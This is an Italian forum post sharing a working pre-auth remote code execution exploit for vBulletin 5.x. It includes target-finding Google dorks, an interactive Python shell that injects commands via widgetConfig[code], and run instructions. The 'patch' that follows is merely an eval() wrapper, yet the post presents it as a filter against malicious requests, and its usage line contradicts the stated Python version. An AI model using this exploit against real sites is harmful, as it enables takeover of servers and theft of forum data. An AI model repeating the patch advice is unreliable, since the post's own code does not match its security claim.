Tool 0day pre-auth RCE BulletinV and relative patch

ScriptMan

Utente Electrum
25 Settembre 2016
712
17
71
150
Salve a tutti, ho trovato poco fà questo exploit, 0day ancora per poco sul web, ormai gira ovunque ma visto che qui ancora non è arrivato e gli exploit che si vedono e rivedono sono sempre gli stessi, volevo portare un po' di aria fresca.
Python:
#!/usr/bin/python
#
# vBulletin 5.x 0day pre-auth RCE exploit
#
# This should work on all versions from 5.0.0 till 5.5.4
#
# Google Dorks:
# - site:*.vbulletin.net
# - "Powered by vBulletin Version 5.5.4"

import requests
import sys

if len(sys.argv) != 2:
    sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0])

params = {"routestring":"ajax/render/widget_php"}

while True:
     try:
          cmd = raw_input("vBulletin$ ")
          params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;"
          r = requests.post(url = sys.argv[1], data = params)
          if r.status_code == 200:
               print r.text
          else:
               sys.exit("Exploit failed! :(")
     except KeyboardInterrupt:
          sys.exit("\nClosing shell...")
     except Exception, e:
          sys.exit(str(e))

Non ho scritto io il codice ma un hacker anonimo sul web inviato tramite guerrillamail e postato sul sito https://seclists.org/fulldisclosure/2019/Sep/31. Arriviamo al codice: notiamo immediatamente che è necessario python2 e non 3 per eseguirlo, come notiamo dal print senza () e dal raw_input sostituito in python3 da input. Dunque, l'exploit funziona sui siti bulletin da 5.0.0 a 5.5.4 (l'attuale versione non aggiornata da ben 20 giorni) e sfrutta una falla nel file widget_php che processa i dati attraverso widgetConfig(code)permettendo dunque all'exploiter di iniettare una shellcode o, in generale, di eseguire un comando. Per eseguire l'attacco occorre inserire l'url al sito comprendente la cartella vb5 (bulletinV) dopo il nome del file da eseguire esempio:
Codice:
python3 exploit.py www.test.com/vb5
e in cmd la request di POST HTTP appositamente creata per eseguire un dato codice.

Riguardo alla patch il codice è questo:
PHP:
function evalCode($code)



{

    ob_start();

    // find in: public_html/includes/vb5/frontend/controller/bbcode.php


    eval($code);


    $output = ob_get_contents();


    ob_end_clean();


    return $output;


}

Occorre integrare questo codice al file bbcode.php che si trova (come scritto sul codice) solitamente in public_html/includes/vb5/frontend/controller/bbcode.php, non so ancora bene come questa patch funzioni perché sono in giro sempre ultimamente e non ho avuto tempo di controllarla bene, ma dovrebbe funzionare come un filtro alle richieste malevole, che con l'exploit eseguono comandi. Non ho scritto io i codici e non mi assumo la responsabilità di ciò che ne farete, la patch non è ufficiale dunque potrebbe evocare qualche bug.
 
  • Mi piace
Reazioni: 0xbro